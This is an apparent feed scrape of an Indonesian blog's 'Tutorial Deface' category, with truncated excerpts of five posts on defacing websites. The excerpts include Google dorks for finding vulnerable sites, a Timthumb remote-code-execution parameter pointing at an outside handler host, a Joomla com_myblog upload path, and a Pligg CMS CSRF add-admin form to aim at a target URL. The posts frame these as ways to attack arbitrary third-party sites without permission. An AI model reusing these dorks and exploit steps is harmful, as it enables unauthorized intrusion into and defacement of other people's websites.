Tutorial Deface Archives — LinuxSec Exploit https://exploit.linuxsec.org/category/tutorial-deface/ Nothing is Ever Locked Thu, 25 Apr 2019 17:08:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.3 Cara Deface dengan Exploit JQuery File Upload Vulnerability https://exploit.linuxsec.org/cara-deface-dengan-exploit-jquery-file-upload-vulnerability/ https://exploit.linuxsec.org/cara-deface-dengan-exploit-jquery-file-upload-vulnerability/#comments Sun, 25 Nov 2018 16:52:10 +0000 https://exploit.linuxsec.org/?p=2659 Cara Deface dengan Exploit JQuery File Upload Vulnerability. Sebenarnya bug ini sudah lama ya ditemukan oleh defacer indo. Namun ya gak ada yang lapor, mungkin karena niatnya mau dibabat habis dulu wkwk. Saya sendiri juga sudah lama tau exploit ini karena dikasih tau temen. Tapi gak berani share juga takut dikira sok jagoan. Namun karena […]

The post Cara Deface dengan Exploit JQuery File Upload Vulnerability appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/cara-deface-dengan-exploit-jquery-file-upload-vulnerability/feed/ 7 Deface dengan Metode Timthumb Remote Code Execution https://exploit.linuxsec.org/deface-dengan-metode-timthumb-remote-code-execution/ https://exploit.linuxsec.org/deface-dengan-metode-timthumb-remote-code-execution/#comments Wed, 25 Apr 2018 06:45:16 +0000 https://exploit.linuxsec.org/?p=2642 Deface dengan Metode Timthumb Remote Code Execution. Exploit ini sudah ada sejak lama. Mungkin 2010 an. Namun sampai sekarang masih banyak website yang vuln. Bisa dibilang old but gold. Untuk exploitnya sendiri rata rata hanya bisa digunakan untuk timthumb versi 1.x. Jadi memang harus pandai pandai racik dork nya. Dork: inurl:timthumb.php?src= Silahkan dikembangkan. Exploit: src=http://flickr.com.zafkiel.net/handler.php […]

The post Deface dengan Metode Timthumb Remote Code Execution appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/deface-dengan-metode-timthumb-remote-code-execution/feed/ 1 Deface dengan Joomla Com_Myblog Exploit https://exploit.linuxsec.org/deface-dengan-joomla-commyblog-exploit/ https://exploit.linuxsec.org/deface-dengan-joomla-commyblog-exploit/#comments Thu, 10 Sep 2015 06:18:00 +0000 https://exploit.linuxsec.org/2015/09/10/deface-dengan-joomla-commyblog-exploi/ Oke kali ini saya mau share tutorial deface dengan Exploit com_myblog pada CMS Joomla. Exploitnya cukup mudah sehingga bisa langsung dipraktekkan. Langsung saja Google dork : inurl:/components/com_myblog/ Exploiter : download Exploit : /index.php?option=com_myblog&task=ajaxupload Jika kalian mendapat error {error: ‘No file has been uploaded.’, msg: ” } Tanda nya situsnya vuln. Langsung eksekusi saja dengan exploiternya. […]

The post Deface dengan Joomla Com_Myblog Exploit appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/deface-dengan-joomla-commyblog-exploit/feed/ 3 Deface Dengan Pligg CMS CSRF Add Admin Exploit https://exploit.linuxsec.org/deface-dengan-pligg-cms-csrf-add-admin/ https://exploit.linuxsec.org/deface-dengan-pligg-cms-csrf-add-admin/#respond Tue, 25 Aug 2015 14:22:00 +0000 https://exploit.linuxsec.org/2015/08/25/deface-dengan-pligg-cms-csrf-add-admin/ Oke lama tidak share tutor tentang exploit, kali ini saya mau share tutor deface dengan judul Pligg CMS CSRF Add Admin Exploit. Exploitnya cukup mudah. Langsung saja bahan bahannya :Exploiter nya : Download disini. Dork : intext:”Made wtih Pligg CMS” Langkah langkah : Save exploiternya dalam bentuk PHP. Pada bagian <form action="http://localhost/jmbut/admin/admin_users.php"method="post" id="createUserForm" name="exploit" onsubmit="returncheckValidation()"> Sesuaikan dengan url target. […]

The post Deface Dengan Pligg CMS CSRF Add Admin Exploit appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/deface-dengan-pligg-cms-csrf-add-admin/feed/ 0 Cara Deface Website dengan Teknik Local File Inclusion https://exploit.linuxsec.org/tutorial-lfi/ https://exploit.linuxsec.org/tutorial-lfi/#comments Tue, 28 Apr 2015 23:32:00 +0000 https://exploit.linuxsec.org/2015/04/29/uploading-backdoor-shell-via-local-file/ Tutorial LFI – Cara Deface Website dengan Teknik Local File Inclusion. Sebenernya ini exploit lama banget. Malah bisa dibilang basic kalo kalian pengen belajar pentest web. Setara sama SQLi lah . Tapi post aja biar isi blog nya lengkap, sebagai arsip pribadi juga hehe. Langsung saja, disini yang dibutuhkan cuma Browser Mozilla dengan addons tamper […]

The post Cara Deface Website dengan Teknik Local File Inclusion appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/tutorial-lfi/feed/ 2